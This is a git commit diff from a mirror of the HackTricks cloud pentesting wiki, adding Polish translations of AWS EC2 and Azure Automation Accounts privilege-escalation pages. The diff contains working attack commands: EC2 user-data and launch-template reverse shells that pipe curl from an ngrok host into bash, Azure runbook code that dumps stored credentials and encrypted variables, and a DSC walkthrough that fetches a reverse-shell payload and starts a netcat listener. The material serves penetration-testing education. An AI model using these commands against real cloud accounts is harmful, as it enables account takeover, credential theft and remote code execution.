mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
+2
-2
@@ -406,8 +406,7 @@
|
||||
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
|
||||
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
|
||||
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
|
||||
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
|
||||
@@ -454,6 +453,7 @@
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
|
||||
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Dostęp przez rev shell w danych użytkownika**
|
||||
|
||||
Możesz uruchomić nową instancję, używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń.
|
||||
Możesz uruchomić nową instancję używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -44,7 +44,7 @@ Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją:
|
||||
|
||||
#### Privesc do ECS
|
||||
|
||||
Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS **będą uruchamiane** w **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**.
|
||||
Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS **będą** **uruchamiane** w **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
|
||||
```
|
||||
Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **profil instancji bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **profilu instancji** (jak wcześniej omówiono) i **przypisać profil instancji** do skompromitowanej i**nstancji:**
|
||||
|
||||
- Jeśli instancja **nie ma żadnego profilu** instancji (`ec2:AssociateIamInstanceProfile`) \*
|
||||
- Jeśli instancja **nie ma żadnego profilu** instancji (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
@@ -90,21 +90,19 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji powiązanego z instancją, więc jeśli atakujący miał już dostęp do instancji, będzie mógł ukraść poświadczenia dla większej liczby ról profilu instancji, zmieniając ten, który jest z nią powiązany.
|
||||
Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji powiązanego z instancją, więc jeśli atak miał już dostęp do instancji, będzie mógł ukraść poświadczenia dla większej liczby ról profilu instancji, zmieniając ten, który jest z nią powiązany.
|
||||
|
||||
- Jeśli **ma profil instancji**, możesz **usunąć** profil instancji (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go \*
|
||||
- Jeśli **ma profil instancji**, możesz **usunąć** profil instancji (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go.
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- lub **zamień** **profil instancji** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`). \*
|
||||
````
|
||||
- lub **zamień** **profil instancji** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
````
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji).
|
||||
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
@@ -160,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli IAM EC2 przypisanej do utworzonej instancji.
|
||||
**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli IAM EC2 przypisanej do utworzonej instancji.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Atakujący z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem** w **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell.
|
||||
Atakujący z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem** w **danych użytkownika** oraz **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -182,7 +180,7 @@ aws ec2 modify-launch-template \
|
||||
|
||||
### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`
|
||||
|
||||
Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchomienia** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**.
|
||||
Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchamiania** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -202,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym sposobem podnoszenia uprawnień).
|
||||
Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym sposobem na podniesienie uprawnień).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
@@ -217,7 +215,7 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess, aby go włączyć**.
|
||||
Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`, aby go włączyć**.
|
||||
|
||||
Aby połączyć się z portem szeregowym, musisz również **znać nazwę użytkownika i hasło użytkownika** wewnątrz maszyny.
|
||||
```bash
|
||||
@@ -233,11 +231,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
|
||||
```
|
||||
Ten sposób nie jest zbyt przydatny do privesc, ponieważ musisz znać nazwę użytkownika i hasło, aby go wykorzystać.
|
||||
|
||||
**Potencjalny wpływ:** (Bardzo nieudowodniony) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji.
|
||||
**Potencjalny wpływ:** (Bardzo trudny do udowodnienia) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby wykorzystać je do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania:
|
||||
Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby je wykorzystać do odkrycia wrażliwych informacji, takich jak dane uwierzytelniające obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
|
||||
+239
@@ -0,0 +1,239 @@
|
||||
# Az - Azure Automation Accounts Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Podsumowując, te uprawnienia pozwalają na **tworzenie, modyfikowanie i uruchamianie Runbooków** w Koncie Automatyzacji, które można wykorzystać do **wykonywania kodu** w kontekście Konta Automatyzacji oraz eskalacji uprawnień do przypisanych **Zarządzanych Tożsamości** i wycieku **poświadczeń** oraz **zaszyfrowanych zmiennych** przechowywanych w Koncie Automatyzacji.
|
||||
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** pozwala na modyfikację kodu Runbooka w Koncie Automatyzacji przy użyciu:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
|
||||
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
|
||||
$runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Zauważ, jak poprzedni skrypt może być użyty do **wycieku nazwy użytkownika i hasła** poświadczenia oraz wartości **zaszyfrowanej zmiennej** przechowywanej w Koncie Automatyzacji.
|
||||
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** pozwala użytkownikowi na publikację Runbooka w Koncie Automatyzacji, aby zmiany zostały zastosowane:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/write`** pozwala użytkownikowi na uruchomienie Runbooka w Koncie Automatyzacji za pomocą:
|
||||
```bash
|
||||
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
|
||||
```
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/output/read`** pozwala użytkownikowi na odczytanie wyniku zadania w Koncie Automatyzacji za pomocą:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Jeśli nie ma utworzonych Runbooków, lub chcesz utworzyć nowy, będziesz potrzebować **uprawnień `Microsoft.Resources/subscriptions/resourcegroups/read` oraz `Microsoft.Automation/automationAccounts/runbooks/write`** aby to zrobić za pomocą:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
To uprawnienie pozwala użytkownikowi na **przypisanie tożsamości zarządzanej przez użytkownika** do Konta Automatyzacji za pomocą:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/schedules/write`** możliwe jest utworzenie nowego harmonogramu w koncie automatyzacji, który jest wykonywany co 15 minut (niezbyt dyskretnie) za pomocą następującego polecenia.
|
||||
|
||||
Należy zauważyć, że **minimalny interwał dla harmonogramu wynosi 15 minut**, a **minimalny czas rozpoczęcia to 5 minut** w przyszłości.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every minute" \
|
||||
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
|
||||
## Form macOS
|
||||
az automation schedule create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
|
||||
--name <SCHEDULE_NAME> \
|
||||
--description "Triggers runbook every 15 minutes" \
|
||||
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Następnie, z uprawnieniem **`Microsoft.Automation/automationAccounts/jobSchedules/write`** możliwe jest przypisanie harmonogramu do runbooka za pomocą:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"runOn": "",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"schedule": {
|
||||
"name": "<scheduler-name>>"
|
||||
},
|
||||
"parameters": {}
|
||||
}
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> W poprzednim przykładzie identyfikator jobchedule został pozostawiony jako **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` jako przykład**, ale będziesz musiał użyć dowolnej wartości, aby utworzyć to przypisanie.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/webhooks/write`** możliwe jest utworzenie nowego Webhooka dla Runbooka w ramach Konta Automatyzacji za pomocą następującego polecenia.
|
||||
|
||||
Zauważ, że będziesz musiał **wskazać URI webhooka** z tokenem do użycia.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2026-01-09T20:03:30.291Z",
|
||||
"parameters": {},
|
||||
"runOn": null,
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
|
||||
}
|
||||
}'
|
||||
|
||||
# Then, to call the runbook using the webhook
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Tylko z uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **aktualizować kod Runbooka** bez jego publikowania i uruchomić go za pomocą następujących poleceń.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
--resource-group Resource_Group_1 \
|
||||
--automation-account-name autoaccount1 \
|
||||
--name AzureAutomationTutorialWithIdentity \
|
||||
--content 'echo "Hello World"'
|
||||
|
||||
# Run the unpublished code
|
||||
az rest \
|
||||
--method PUT \
|
||||
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"parameters": {},
|
||||
"runOn": "",
|
||||
"runtimeEnvironment": "PowerShell-5.1"
|
||||
}'
|
||||
|
||||
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
|
||||
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
To uprawnienie pozwala użytkownikowi **skonfigurować kontrolę źródła** dla konta automatyzacji za pomocą poleceń takich jak poniższe (używa to Github jako przykład):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <automation-account-name> \
|
||||
--name RemoteGithub \
|
||||
--repo-url https://github.com/carlospolop/gh-runbooks.git \
|
||||
--branch main \
|
||||
--folder-path /runbooks/ \
|
||||
--publish-runbook true \
|
||||
--auto-sync \
|
||||
--source-type GitHub \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
To automatycznie zaimportuje runbooki z repozytorium Github do Konta Automatyzacji, a z innymi uprawnieniami do ich uruchamiania, **możliwe będzie podniesienie uprawnień**.
|
||||
|
||||
Ponadto pamiętaj, że aby kontrola źródłowa działała w Kontach Automatyzacji, musi mieć zarządzaną tożsamość z rolą **`Contributor`**, a jeśli jest to zarządzana tożsamość użytkownika, można to również skonfigurować, ustawiając w zmiennej **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** **client id** zarządzanej tożsamości użytkownika do użycia.
|
||||
|
||||
> [!TIP]
|
||||
> Zauważ, że nie można zmienić adresu URL repozytorium źródłowego po jego utworzeniu.
|
||||
|
||||
### Niestandardowe Środowiska Uruchomieniowe
|
||||
|
||||
Jeśli konto automatyzacji korzysta z niestandardowego środowiska uruchomieniowego, może być możliwe nadpisanie niestandardowego pakietu środowiska uruchomieniowego złośliwym kodem (takim jak **backdoor**). W ten sposób, gdy runbook korzystający z tego niestandardowego środowiska jest uruchamiany i ładuje niestandardowy pakiet, złośliwy kod zostanie wykonany.
|
||||
|
||||
### Kompromitacja Konfiguracji Stanu
|
||||
|
||||
**Sprawdź pełny post w:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Krok 1 — Utwórz Pliki
|
||||
|
||||
**Wymagane Pliki:** Potrzebne są dwa skrypty PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Plik Desired State Configuration (DSC), który pobiera i wykonuje ładunek. Można go uzyskać z [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Skrypt do publikacji konfiguracji na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Dostosowanie:** Zmienne i parametry w tych plikach muszą być dostosowane do specyficznego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/ładunku.
|
||||
|
||||
- Krok 2 — Spakuj Plik Konfiguracji
|
||||
|
||||
Plik `reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co czyni go gotowym do transferu do Konta Storage Azure.
|
||||
```powershell
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Krok 3 — Ustaw kontekst magazynu i przesyłanie
|
||||
|
||||
Zarchiwizowany plik konfiguracyjny jest przesyłany do zdefiniowanego kontenera magazynowego Azure, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent.
|
||||
```powershell
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Krok 4 — Przygotowanie Kali Box
|
||||
|
||||
Serwer Kali pobiera ładunek RevPS.ps1 z repozytorium GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Skrypt jest edytowany, aby określić docelową maszynę wirtualną Windows i port dla odwrotnego powłoki.
|
||||
|
||||
- Krok 5 — Publikacja pliku konfiguracyjnego
|
||||
|
||||
Plik konfiguracyjny jest wykonywany, co skutkuje wdrożeniem skryptu odwrotnej powłoki w określonej lokalizacji na maszynie wirtualnej Windows.
|
||||
|
||||
- Krok 6 — Hostowanie ładunku i ustawienie nasłuchiwacza
|
||||
|
||||
Uruchamiany jest Python SimpleHTTPServer, aby hostować ładunek, wraz z nasłuchiwaczem Netcat do przechwytywania przychodzących połączeń.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Zadanie zaplanowane wykonuje ładunek, osiągając uprawnienia na poziomie SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,170 +0,0 @@
|
||||
# Az - Automation Account
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation dostarcza opartą na chmurze automatyzację, aktualizacje systemu operacyjnego i usługę konfiguracji, która wspiera spójną administrację w Twoich środowiskach Azure i nie-Azure. Obejmuje automatyzację procesów, zarządzanie konfiguracją, zarządzanie aktualizacjami, wspólne możliwości i heterogeniczne funkcje.
|
||||
|
||||
Są to jak "**zaplanowane zadania**" w Azure, które pozwalają na wykonywanie rzeczy (akcji lub nawet skryptów) w celu **zarządzania**, sprawdzania i konfigurowania **środowiska Azure**.
|
||||
|
||||
### Konto Run As
|
||||
|
||||
Gdy używane jest **Konto Run as**, tworzy aplikację Azure AD z certyfikatem samopodpisanym, tworzy **principal usługi** i przypisuje rolę **Współtwórcy** dla konta w **aktualnej subskrypcji** (wiele uprawnień).\
|
||||
Microsoft zaleca użycie **Zarządzanej Tożsamości** dla Konta Automatyzacji.
|
||||
|
||||
> [!WARNING]
|
||||
> To zostanie **usunięte 30 września 2023 i zmienione na Zarządzane Tożsamości.**
|
||||
|
||||
## Runbooki i zadania
|
||||
|
||||
**Runbooki** pozwalają na **wykonywanie dowolnego kodu PowerShell**. Może to być **nadużyte przez atakującego** w celu kradzieży uprawnień **przypisanego principal** (jeśli istnieje).\
|
||||
W **kodzie** **Runbooków** można również znaleźć **wrażliwe informacje** (takie jak dane uwierzytelniające).
|
||||
|
||||
Jeśli możesz **czytać** **zadania**, zrób to, ponieważ **zawierają** **wynik** uruchomienia (potencjalne **wrażliwe informacje**).
|
||||
|
||||
Przejdź do `Automation Accounts` --> `<Wybierz Konto Automatyzacji>` --> `Runbooks/Zadania/Grupy pracowników hybrydowych/Zadania obserwatora/dane uwierzytelniające/zmienne/certyfikaty/połączenia`
|
||||
|
||||
### Pracownik hybrydowy
|
||||
|
||||
Runbook może być uruchamiany w **kontenerze w Azure** lub w **Pracowniku Hybrydowym** (maszyna nie-Azure).\
|
||||
**Agent Log Analytics** jest wdrażany na VM, aby zarejestrować go jako pracownika hybrydowego.\
|
||||
Zadania pracownika hybrydowego są uruchamiane jako **SYSTEM** w Windows i jako konto **nxautomation** w Linux.\
|
||||
Każdy Pracownik Hybrydowy jest zarejestrowany w **Grupie Pracowników Hybrydowych**.
|
||||
|
||||
Dlatego, jeśli możesz wybrać uruchomienie **Runbooka** w **Windows Hybrid Worker**, wykonasz **dowolne polecenia** wewnątrz zewnętrznej maszyny jako **System** (fajna technika pivotowania).
|
||||
|
||||
## Kompromitacja Konfiguracji Stanu (SC)
|
